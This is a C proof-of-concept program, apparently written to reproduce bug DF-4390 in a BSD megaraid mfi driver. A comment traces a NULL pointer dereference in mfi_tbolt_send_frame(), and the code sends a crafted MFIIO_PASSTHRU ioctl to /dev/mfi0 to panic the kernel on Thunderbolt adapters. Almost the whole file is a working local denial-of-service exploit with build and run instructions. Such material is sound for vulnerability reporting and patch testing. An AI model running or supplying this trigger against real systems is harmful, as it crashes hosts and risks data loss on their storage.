DF-4390 / df4390_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | /* * DF-4390 - mfi_tbolt_send_frame() NULL request-descriptor dereference * * sys/dev/raid/mfi/mfi_tbolt.c:1156-1168: * * if (hdr->cmd == MFI_CMD_PD_SCSI_IO) { * if (cdb[0] != 0x28 && cdb[0] != 0x2A) { * if ((req_desc = mfi_tbolt_build_mpt_cmd(sc, cm)) == NULL) * ... return 1; * } else * device_printf(sc->mfi_dev, "DJA NA XXX SYSPDIO\n"); <-- falls through * } * ... * MFI_WRITE4(sc, MFI_ILQP, (req_desc->words & 0xFFFFFFFF)); <-- req_desc == NULL * * For MFI_CMD_PD_SCSI_IO frames whose CDB starts with READ_10 (0x28) or * WRITE_10 (0x2A), req_desc stays NULL and is dereferenced -> kernel panic. * * Reachability on a Thunderbolt (MFA_enabled) adapter: * 1. ANY read/write bio to a "system PD" (JBOD drive exposed to the OS): * mfi_build_syspdio() (mfi.c:1992-2001) builds exactly * cmd=MFI_CMD_PD_SCSI_IO + cdb[0]=READ_10/WRITE_10 for every I/O. * 2. Crash dumps to a system PD: mfi_dump_syspd_blocks() (mfi.c:2453-2461). * 3. This program: MFIIO_PASSTHRU with a crafted frame. mfi_user_command() * bcopy()s the whole user-supplied dcmd frame into the command frame, * so header.cmd and the bytes that alias pass.cdb[0] (frame offset 32 = * dcmd.mbox[4], MFI_MBOX_SIZE=12) are fully user controlled. * /dev/mfi0 is root:operator 0640. * * Build: cc -O -o df4390 df4390_trigger.c * Run: ./df4390 [/dev/mfi0] * Success criterion (on real TBOLT hardware): instant kernel panic * "Fatal trap 12: page fault while in kernel mode" reading address ~0x0 * from mfi_tbolt_send_frame; serial console shows the preceding * "DJA NA XXX SYSPDIO" message. */ #include <sys/ioctl.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> /* ---- kernel ABI mirror (sys/dev/raid/mfi/mfireg.h, mfi_ioctl.h) ---- */ struct mfi_frame_header_ { unsigned char cmd; /* 0x02 = MFI_CMD_PD_SCSI_IO */ unsigned char sense_len; unsigned char cmd_status; unsigned char scsi_status; unsigned char target_id; unsigned char lun_id; unsigned char cdb_len; unsigned char sg_count; unsigned int context; unsigned int pad0; unsigned short flags; unsigned short timeout; unsigned int data_len; } __attribute__((__packed__)); struct mfi_dcmd_frame_ { struct mfi_frame_header_ header; /* 24 */ unsigned int opcode; /* 24 */ unsigned char mbox[12];/* 28..40; mbox[4] aliases pass.cdb[0] @32 */ unsigned char sgl[16]; /* 40..56 union mfi_sgl */ } __attribute__((__packed__)); struct mfi_ioc_passthru_ { struct mfi_dcmd_frame_ ioc_frame; /* 0 .. 56 */ unsigned int buf_size; /* 56 */ unsigned char *buf; /* 64 */ } __attribute__((__packed__)); #define MFIIO_PASSTHRU_ _IOWR('C', 102, struct mfi_ioc_passthru_) #define MFI_CMD_PD_SCSI_IO_ 0x02 #define SCSI_READ_10_ 0x28 int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/mfi0"; struct mfi_ioc_passthru_ ioc; int fd; /* try the well-known alias too */ fd = open(dev, O_RDWR); if (fd < 0 && strcmp(dev, "/dev/mfi0") == 0) fd = open("/dev/megaraid_sas_ioctl_node", O_RDWR); if (fd < 0) { printf("[-] open(%s): %s (no mfi controller on this system)\n", dev, strerror(errno)); printf("[-] DF-4390 cannot be exercised at runtime on this " "guest: the trigger requires a Thunderbolt (2108/2208) " "megaraid HBA so that MFA_enabled=1 and " "mfi_tbolt_send_frame() runs.\n"); return (2); } memset(&ioc, 0, sizeof(ioc)); ioc.ioc_frame.header.cmd = MFI_CMD_PD_SCSI_IO_; /* -> PD_SCSI_IO branch */ ioc.ioc_frame.header.cdb_len = 10; ioc.ioc_frame.mbox[4] = SCSI_READ_10_; /* == pass.cdb[0] -> else branch, req_desc stays NULL */ ioc.ioc_frame.opcode = 0xdeadbeef; /* pass.cdb[4..7], irrelevant */ ioc.buf_size = 0; /* cm_data == NULL -> direct mfi_tbolt_send_frame() */ printf("[*] issuing MFIIO_PASSTHRU cmd=PD_SCSI_IO cdb[0]=READ_10 on %s\n", dev); printf("[*] expected on TBOLT hw: panic at mfi_tbolt.c:1181 (req_desc->words, NULL deref)\n"); if (ioctl(fd, MFIIO_PASSTHRU_, &ioc) < 0) printf("[-] ioctl: %s\n", strerror(errno)); printf("[*] still alive - controller is not Thunderbolt (MFA_enabled==0) or cmd completed\n"); close(fd); return (0); } |